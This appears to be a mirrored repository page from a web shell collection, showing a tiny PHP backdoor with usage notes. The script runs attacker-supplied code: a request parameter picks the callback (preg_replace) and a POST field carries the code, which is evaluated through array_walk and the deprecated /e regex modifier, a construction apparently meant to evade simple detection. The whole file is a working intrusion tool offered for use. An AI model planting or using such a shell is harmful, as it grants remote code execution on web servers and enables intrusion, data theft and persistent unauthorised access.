mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
shell.php?e=preg_replace ==> preg_replace('|.*|e',$_POST['x'],'')
use: post x=phpinfo();
from: https://www.sqlsec.com/2020/07/shell.html
6 lines
104 B
PHP
6 lines
104 B
PHP
<?php
|
|
$e = $_REQUEST['e'];
|
|
$arr = array($_POST['x'] => '|.*|e',);
|
|
array_walk($arr, $e, '');
|
|
?>
|